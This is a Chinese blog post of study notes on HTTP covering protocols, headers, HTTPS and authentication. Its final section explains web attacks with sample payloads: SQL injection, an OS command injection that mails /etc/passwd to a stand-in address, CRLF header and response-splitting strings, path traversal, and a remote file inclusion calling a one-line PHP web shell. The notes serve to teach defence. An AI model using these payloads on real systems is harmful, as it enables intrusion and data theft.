Post

图解http 笔记

Posted
By
30 min read

1 了解Web及网络基础

1.2 HTTP的诞生

最新版本HTML5.0 HTTP2.0（加密）

1.3 网络基础TCP/IP

  • HTTP是TCP/IP协议族的子集，后者是互联网相关的各类协议族的总称。

  • 协议是双方遵守的通信方法，如探测目标、通信顺序、通信语言等的规定。

  • TCP/IP协议族按层次分为

    • 应用层：FTP DNS
    • 传输层：TCP(Transmission Control Protocol)、UDP(User Data Protocol)，对数据（如HTTP Request）进行分割，进行序号和端口号标记
    • 网络层：选择数据包传输路线 IP，增加MAC
    • 数据链路层：设备驱动、网络适配器(Network Interface Card)

1.4 与HTTP关系密切的协议: IP、TCP和DNS

  • ARP: Address Resolution Protocol， 根据IP反查出MAC地址；利用下一站中专设备的MAC地址来搜索下一个中转目标，详见ARP请求报文广播。
  • 三次握手策略：① →SYN ② ←SYN/ACK ③ →ACK

1.5 负责域名解析的DNS服务

1.4讲的是通过IP直接访问的情况，但人类更常使用域名访问，即先从DNS得到IP

1.6 各种协议与HTTP协议的关系

  • HTTP协议的职责：生成针对目标Web服务器的HTTP请求报文 / 对请求内容的处理，“你想要什么”
  • TCP协议的职责：将HTTP request分割成报文段 / 重组报文段
  • IP协议的职责：搜索对方的地址，一边中转一边传送

1.7 URI和URL

  • URL(Locater)是URI(Identifier)的子集，标识符不一定是定位符，但定位符一定是标识符。
    1
2
3
4
5
6
7
8
9

      // URI 举例：
  ftp: //ftp. is. co. za/rfc/rfc1808. txt
  http: //www. ietf. org/rfc/rfc2396. txt
  ldap: //[ 2001: db8: : 7] /c=GB? obj ectClass?one
  mailto: J ohn. Doe@example. com
  news: comp. infosystems. www. servers. unix
  tel: +1- 816- 555- 1212
  telnet: //192. 0. 2. 16: 80/
  urn: oasis: names: specification: docbook: dtd: xml: 4. 1. 2
  • 绝对URI格式：

    http://user:pass@www.example.jp:80/dir/index.htm?uid=1#ch1

    协议方案名 登录信息 服务器地址 端口号 带层次的文件路径 查询字符串 片段标识符

  • http和https协议不区分大小写

  • RFC: Request for Comments 征求修正意见书，互联网设计文档

2 简单的HTTP协议

2.1 HTTP协议是用于客户端和服务端之间的通信

单条同心路线必须有server和client的角色区分

2.2 请求与响应报文

  • 请求必定由客户端发出，服务器端回复

  • 请求报文:

  • 响应报文:

2.3 HTTP是不保存状态的协议

  • 无状态(stateless)协议，不保存通信状态，意思就是各请求/响应之间无联动，必须在当前报文中完成全部操作。

  • 为了解决该问题，引入Cookie

2.4 使用URI

要么URI写完整，要么和URI和Host分开

2.5 HTTP

  • GET
  • POST: 传输实体主体
  • PUT: 传输文件
  • HEAD: 获得报文首部，确认URI的有效性及资源更新时间，确认用
  • DELETE: 删除文件
  • OPTIONS: 询问支持的方法
  • TRACE: 返回通信环; 跨站追踪攻击

  • CONNECT: 用于SSL TLS

  • 如果GET/POST的URI是.cgi（通用网关接口），则会返回执行后的输出结果

2.7 持久连接

  • HTTP协议的初始版本中，每进行一次HTTP通信就要断开一次TCP连接

  • 为此提出了持久连接(HTTP Persistent Connections/ HTTP keep-alive/ HTTP connection reuse)。在一方明确提出断开连接之前，保持TCP连接状态，可进行多次HTTP请求与响应

  • HTTP/1.1默认所有连接都是持久连接

  • 持久连接使管线化(pipelining)成为可能，即并行发送多个请求。

  • 服务器（生成并）发送一个Set-Cookie的首部字段信息，通知客户端保存Cookie。

3 HTTP报文内的HTTP信息

3.1 HTTP报文

  • 报文首部和报文主体之间以空行(CR+LF)划分；CR ‘\r’: 回车符, 0x0d, 使光标移到行首; LF ‘\n’: 换行符, 0x0a, 使光标下移一格.

    • DOS和Windows以回车+换行CR+LF(\r\n)表示下一行
    • UNIX/Linux以换行符LF表示下一行
    • Mac OS用回车符CR表示下一行

3.3 编码提升传输效率

编码提升传输效率，但是会消耗计算机的CPU和资源

3.3.1 报文和实体

  • 报文 message, HTTP通信的基本单位 8位组字节流(octet sequence)

  • 实体 entity, 作为请求或响应的有效payload 被传输，由实体首部与实体主体组成

  • HTTP报文的主体用于传输请求或响应的实体主体（通常相等），不相等的情况即是经过了编码。

3.3.2 内容编码(Content-Encoding)

  • gzip: GNU zip
  • compress: UNIX系统的标准压缩
  • deflate: zlib
  • identity: 不编码

3.3.3 分块传输编码

chunked transfer coding. 将实体主体分块，最后一块用0(CR+LF)标记

3.4 Mutipart

MIME: 多用途因特网邮件扩展，使用一种叫多部分对象集合Mutipart的方法容纳不同类型的数据。HTTP协议也使用了这种方法。

  • multipart/form-data

  • mutilpart/byteranges

  • 使用boundary字符串划分多部分对象集合指明的各类实体。

3.5 获取部分内容的范围请求

1
2
3

Range: bytes=5001-10000
Range: bytes=5001-
Range: bytes=-3000, 5000-7000

3.6 内容协商

服务端为客户提供最适资源（如语言、字符集、编码方式）。也可以由客户端驱动协商，两者协同协商。

1
2
3
4
5

Accept
Accept-Charset
Accept-Encoding
Accept-Language
Content-Language

4 返回结果的HTTP状态码

1XX 正在处理; 2XX 处理完毕; 3XX 重定向; 4XX Client Error; 5XX Server Error

  • 200 正常
  • 204 响应报文无实体主体
  • 206 范围请求
  • 301 永久转移至新URI, 重定向会放在Location里，下同
  • 302 临时新URI
  • 303 同302, 将POST或其他转为GET的最理想方式
  • 304 资源已找到，但未符合条件请求（GET，包含If-Match等首部）
  • 307 同302
  • 400 Bad Request 语法错
  • 401 第一次弹出认证界面，第二次则返回认证失败
  • 403 不允许访问，可能是权限问题，可无理由
  • 404 找不到，也可以用于无理由拒绝
  • 500 服务器执行错误，可能是web APP的bug
  • 503 正忙/维护
  • 不少状态码响应是错误的，请注意

5 与HTTP协作的Web服务器

5.1 单台虚拟主机实现多个域名

由于虚拟主机(virtual host)可以寄存多个不同主机/域名的Web网站，必须在Host首部指定主机或域名的URI

5.2 通信数据转发程序: 代理、网关、隧道

5.2.1 代理

  • 代理会加入Via: proxy1之类的首部信息

  • 缓存代理: 如其名

  • 透明代理: 不对报文做加工

5.2.2 网关

利用网关可以提高通信安全性，将HTTP请求转化为其他协议通信

5.2.3 隧道

隧道不解析HTTP 只中转 是透明的

5.3 缓存

5.3.1 缓存的有效期限

根据客户端的要求/缓存的有效期 向源服务器确认资源的有效性；然后更新.

6 HTTP首部

6.1 HTTP报文首部

空行之前的都是报文首部

6.2.2 HTTP首部字段

如果首部字段重复，根据浏览器不同处理优先不同

6.2.3 4种HTTP首部字段类型

通用首部字段(General Header Fields), 请求和响应都会用;

请求首部字段, 补充附加内容、客户端信息、响应内容相关优先级等;

响应首部字段, 补充响应信息、要求客户端附加额外的内容信息;

实体首部字段, 补充资源内容更新时间等与实体有关的信息。

6.2.4 HTTP/1.1 首部字段

略 按需查表

6.2.5 非HTTP/1.1 首部字段

Cookie、Set-Cookie、Content-Disposition等不在RFC2616中定义的首部字段

6.2.6 End-to-end首部和Hop-by-hop首部

逐跳首部:

  • Connection
  • Keep-Alive
  • Proxy-Authenticate
  • Proxy-Authorization
  • Trailer
  • TE
  • Transfer-Encoding
  • Upgrade

除此以外的都属于端到端

6.3 HTTP/1.1 通用首部字段

6.3.1 Cache-Control

缓存请求指令:
Cache-Control: no-cache, no-stroe, max-age=0, max-stale(=0), min-fresh=0, no-transform, only-if-cached, cache-extension

缓存响应指令: Cache-Control: public, private, no-cache, no-store, no-transform, must-revalidate, proxy-revalidate, max-age=0, s-maxage=0, cache-extension

  • no-cache是不缓存过期的资源, no-store才是真正的不缓存

  • s-maxage与Expires/max-age的区别, 后两者无效化

  • HTTP/1.1 优先max-age, HTTP/1.0正相反

6.3.2 Connection

  1. Connection: 不再转发的字段名（转发后删除该字段）
  2. Connection: close/Keep-Alive, 管理持久连接

6.3.3 Date

Date: 创建HTTP报文的时间

6.3.4 Pragma

Pragma: 同Cacche-Control, HTTP/1.1兼容HTTP/1.0用的历史遗留字段; 如中间服务器没有同时以HTTP/1.1为基准，则需要:

1
2

Cache-Control: no-cache
Pragma: no-cache

6.3.5 Trailer

事先说明报文主体后面记录的首部字段，如分块传输时:

1
2
3
4
5
6

Transfer-Encoding: chunked
Trailer: Expires

...(报文主体)...
0
Expires: Tue, 28 Sep 2004 23:59:59 GMT

6.3.6 Transfer-Encoding

Transfer-Encoding: chunked

6.3.7 Upgrade

Request:

1
2
3

GET /index.htm HTTP/1.1
Upgrade: TLS/1.0
Connection: Upgrade

Response:

1
2
3

HTTP/1.1 101 Switching Protocols
Upgrade: TLS/1.0 HTTP/1.1
Connection: Upgrade

6.3.8 Via

经过代理时追加 追踪报文转发，避免请求回环

6.3.9 Warning

返回警告码和警告信息

6.4 请求首部字段

6.4.1 Accept系列

Accept/Accept-Charset/Accept-Encoding/Accept-Language

用户代理能处理的类型和优先级

6.4.5 Authorization

另有Proxy-Authorization，位于客户端与代理之间

6.4.6 Except

Except: 100-continue 写明期望的扩展

6.4.7 From

用户代理的电子邮箱，也可存在User-Agent里

6.4.8 Host

虚拟主机运行在同一IP上时，使用Host区分域名

6.4.9 If-Match

当If-Match的字段值 = 文件的ETag（实体标记）值; If-None-Match与之相反

If-Match: “123456”

6.4.10 If-Modified-Since

Resonpse会给Last-Modified或Not Modified

6.4.12 If-Range

满足条件则作为范围请求，反之返回全部

6.4.14 Max-Forwards

通过TRACE或OPTIONS方法发送?

防止请求失败/回环，客户端不知道

6.4.16 Range

处理成功会返回206 Partial Content，否则200 OK & 全部资源

6.4.17 Referer

原始URI，出于安全性可以不发

6.4.18 TE

客户端处理相应的优先级，可以赋值trailers给它

注意字段名是trailer，但要赋值为trailers

6.4.19 User-Agent

浏览器信息，可能含爬虫作者、代理服务器信息

6.5 响应首部字段

6.5.1 Accepr-Ranges

告知客户端服务器是否能处理范围请求

Accept-Ranges: bytes/none

6.5.2 Age

缓存服务器在多少秒之前向源服务器确认过。

6.5.3 ETag

  • ETag是服务器为资源分配的唯一性标识，字符串，资源更新后ETag会改变

  • URI相同，ETag也可能不同。比如中文版英文版的Google首页

  • 强ETag无论多细微的改变都会改变，弱ETag只看根本改变

6.5.4 Location

1
2
3
4
5
6
7
8
9

\\ Request
GET /sample.htm

\\ Response 1
302 Found
Location: http://test.com/sample.html

\\ Response 2 (test.com)
200 OK

6.5.5 Proxy-Authenticate

把代理服务器要求的认证信息发给客户端

6.5.6 Retry-After

可以是创建响应后的秒数，可以是GMT等格式

6.5.7 Server

服务器或中间件信息

6.5.8 Vary

代理服务器受到源服务器返回包含Vary指定项的响应之后，若再要进行缓存，仅对请求中含有相同Vary指定首部字段的请求返回缓存。

如: 源服务器返回Vary: Accept-Language给代理服务器，那么代理服务器以后只能对相同自然语言的请求返回缓存，否则向源服务器请求

6.5.9 WWW-Authenticate

HTTP访问认证

6.6 实体首部字段

（请求与响应报文的实体部分使用的首部）

1
2
3
4
5
6
7
8
9
10

Allow: GET/HEAD/... 允许的方法  
Content-Encoding: gzip/ compress/ deflate/ identity  
Content-Language: zh-CN  
Content-Length: 15000  
Content-Location: 当返回的页面内容与实际请求的对象不同时，在此写明URI
Content-MD5: 对报文主体进行MD5→base64
Content-Range: bytes 5001-10000/10000
Content-Type: text/html; charset=UTF-8
Expires: 缓存有效期，会优先处理Cache-Control
Last-Modified: URI的最后修改时间

Set-Cookie: name=VALUE, expires=DATE, path=PATH(Cookie的适用目录), domain=DOMAIN（适用域名，结尾匹配）, secure(https), HttpOnly(Cookie不能被JS脚本访问，防止XSS)

Cookie: status=enable

6.8 其他首部字段

  • X-Frame-Options

    • X-Frame-Options: DENY/ SAMEORIGIN

    • 控制Frame标签内的现实问题，防止clickjacking攻击

  • X-XSS-Protection

    • X-XSS-Protection: 0/1

  • DNT (Do Not Track)

    • DNT: 0/ 1
    • 同意/拒绝个人信息采集

  • P3P (The Platform for Privacy Preferences)

    • 仅供程序理解的个人隐私

7 HTTPS

7.1 HTTP的缺点

明文通信，伪装，篡改

  • HTTPS=HTTP Secure=HTTP over SSL

  • 如果基于内容加密，因为HTTP协议无加密机制，所以只有报文主体会被加密（通信本身不加密）

7.2 HTTPS

  • HTTPS=HTTP+加密+认证+完整性保护

  • HTTP先和SSL通信，再由SSL和TCP通信

  • HTTPS采用混合机制（加速），交换密钥环节使用公开密钥(public-key cryptography)加密方式，建立通信交换报文使用共享密钥（Common key crypto system，同对称加密)加密方式。

  • 由数字证书认证机构CA颁发公开密钥证书，进行数字签名，详见7.2.4

  • 证明组织真实性的EV SSL证书 浏览器地址栏为绿色

  • 客户端证书: 银行使用，证实客户端存在，不证实用户本人的真实有效性

  • 认证机构的可靠性

  • OpenSSL等自签名证书

7.2.5 HTTPS的通信机制

  • 主流版本是SSL3.0和TLS1.0

8 确认访问用户身份的认证

HTTP/1.1使用如下认证:

8.2 BASIC认证

服务器会返回WWW-Authenticate首部响应，用户发送

Authorization: Basic xxxx(base64加密后的username:password)

在HTTP等非加密通信线路上不安全

8.3 DIGEST认证

  • 会提供MD5(可换)后的密码

  • 依然不够安全

8.4 SSL客户端认证

  • 通常采用双因素验证, 一个SSL证书认证客户端计算机，另一个确定这是用户本人的行为

  • 事先将客户端证书发给客户端 且客户端必须安装

  • 服务端: Certificate Request→ ←Client Certificate: 客户端

8.5 现实状况

BASIC和DIGEST基本不怎么使用，SSL客户端认证由于导入及维持费用等问题未普及。认证多半为各Web程序实现的基于表单认证。

8.6 Session管理 & Cookie

  1. POST (ID密码)，使用HTTPS通信进行HTML表单画面的显示和用户输入数据的发送;

  2. 服务器发放Session ID;

    Set-Cookie: PHPSESSID=028a8c…

  3. 客户端保存Cookie在本地，下次自动发送

  • 在Cookie内加上httponly属性

  • 一种安全的保存方法是给密码加盐salt，再散列hash，使密码特征库失效

9 基于HTTP的功能追加协议

HTTP标准的瓶颈:

  • 一条连接一个请求
  • 请求只能从客户端开始，客户端不接收响应以外的指令
  • 请求/响应首部未经压缩就发送，首部信息加大延迟
  • 互相发送相同的首部造成浪费
  • 非强制压缩

9.2 消除HTTP瓶颈的SPDY

  1. 旧方法
    • Ajax(Asynchronous JavaScript and XML), 有效利用JS和DOM，达到局部Web页面替换加载的异步通信手段。只更新一部分界面。使用API：XMLHttpRequest.

    • 缺点: 产生大量请求，未解决HTTP协议本身问题。

    • Comet:将响应挂起，直到服务器端有更新时再返回
    • 缺点: 维持连接消耗资源
  2. SPDY 在TCP/IP的应用层与传输层之间新增会话层。

  • 无限处理并发请求，分配优先级

  • 压缩首部

  • 服务器可直接向客户端发送数据

  • 本质是将单个域名(IP地址)的通信多路复用，当一个网站上使用多个域名下的资源，改善效果会受限

9.3 全双工通信(full-duplex): WebSocket

  • 基于HTML5, 使用不同于HTTP协议的新协议解决瓶颈问题

  • 解决Ajax和Comet里XMLHttpRequest附带的缺陷所引起的问题

  • 可互相发送JSON/XML/HTML/Image/…

主要特点:

  1. 推送功能, 服务器向客户端发送数据

  2. 保持连接状态, 减少首部, 减少通信量

  • 建立HTTP连接之后，需完成一次handshaking:

  • 握手·请求
    1
2
3
4
5
6
7
8

      GET /chat HTTP/1.1
  Host: server.example.com
  **Upgrade: websocket**
  Connection: Upgrade
  Sec-Websocket-Key: (base64)
  Origin: http://example.com
  Sec-WebSocket-Protocol: chat, superchat
  Sec-WebSocket-Version: 13
  • 握手·响应
    1
2
3
4
5

      HTTP/1.1 **101 Switching Protocols**
  Upgrade: websocket
  Connection: Upgrade
  Sec-WebSocket-Accept: (根据Sec-WebSocket-Key生成的)
  Sec-WebSocket-Protocol: chat
  • URL： ws://example.com/ wss://example.com/

9.4 HTTP/2.0

旨在改善速度体验，先通过HTTP/1.1与TCP连接

  • SPDY

  • HTTP Speed + Mobility, 改善移动端通信速度性能, 建立在SPDY与WebSocket的基础上

  • Network-Friendly HTTP Upgrade, 改善移动端通信中HTTP性能

9.5 WebDAV

直接对Web服务器上的内容进行文件复制、编辑等操作的分布式文件系统

追加了一些HTTP/1.1的方法与状态码，详见9.5

10 构建Web的技术

10.1 HTML

<>包围的是标签

CSS

10.2 动态HTML

调用脚本语言JavaScript实现对HTML的Web页面的动态改造，利用DOM(Document Object Model)可指定欲发生动态变化的HTML元素

10.3 Web应用

  • CGI, 收到客户端请求，转发给程序，程序做出相应的动作

  • Servlet 常驻内存, 比CGI更减负; 同mod_perl

10.4 数据发布的格式语言

  • XML(eXtensible Markup Language, 可扩展标记语言)

  • XML与HTML都是从标准通用化标记语言SGML简化而来, 通过语法分析器解析XML结构读取数据更容易

  • RSS/Atom 简单信息聚合/供稿格式

  • JSON, 以JS的对象表示法为基础，轻量级数据标记语言，支持false/null/true/对象/数组/数字/字符串

11 Web攻击技术

大部分攻击是冲着Web应用来的

  • 主动攻击: SQL注入/ OS命令注入/ …

  • 被动攻击: 圈套策略 如XSS XSRF

11.2 应对策略

  • 客户端验证

  • Web应用端/服务端验证
    • 输入值验证
    • 输出值转义

  • XSS: 运行非法的HTML或JavaScript

  • SQL注入

SELECT * FROM bookTb1 WHERE author = ‘xxx’ –’ and flag = 1;

  • OS注入

    1
2
3
4
5

      my $adr = $q->param('mailaddress');
  open(MAIL, "| /usr/sbin/sendmail $adr");
  print MAIL "From：info@example.com\n";

  $adr =; cat /etc/passwd | mail hack@example.jp

  • HTTP首部注入攻击

    • 设置任何Cookie信息
    • 重定向至任意URL
    • 显示任意的主体（HTTP响应截断攻击）
    1
2
3
4
5
6
7

      Location: http://example.com/?cat=101 
  响应字段Location根据catID值决定

  //构造cat=101%0D%0ASet-Cookie:+SID=123456789  
  //由于%0D%0A为换行符，实际上得到:
  Location: http://example.com/?cat=101
  Set-Cookie: SID=123456789
  • HTTP响应截断攻击 Payload:
    1

      (%0D%0A: 换行符)(%0D%0A: 换行符)<HTML><HEAD><TITLE>攻击者想要显示的内容 <!--

    会被识别为:

    1
2
3

      Set-Cookie: UID=(%0D%0A: 换行符)
  (%0D%0A: 换行符)
  <HTML><HEAD><TITLE>攻击者想要显示的内容 <!--

    并排插入两个换行符，将HTTP首部与主题分隔开

  • 邮件首部注入攻击

    追加邮件发送:

    bob@hackr.jp%0D%0ABcc: user@example.com 篡改文本内容: bob@hackr.jp%0D%0A%0D%0AText Message

  • 目录遍历攻击:

    http://example.com/read.php?log=../../etc/passwd

  • 文件包含:

    对foo.php:

    1
2

      $modname = $_GET['mod'];
  include($modname);

    指定url:

    http://example.com/foo.php?mod=http://hackr.jp/cmd.php&cmd=ls

    事先准备http://hackr.jp/cmd.php:

    <? system($_GET[‘cmd’]) ?>

11.3 设置/设计缺陷引发的安全漏洞

  • 强制浏览 隐蔽URL的暴露

  • 错误消息的处理

  • 开放重定向

    http://example.com/?redirect=http://www.tricorder.jp

11.4 会话管理疏忽

  • 推测/生成绘画ID

  • 窃听/XSS盗取会话ID

  • 会话固定攻击(session fixation) 诱导用户认证会话ID

  • CSRF

11.5 密码破解

Misc
This post is licensed under CC BY 4.0 by the author.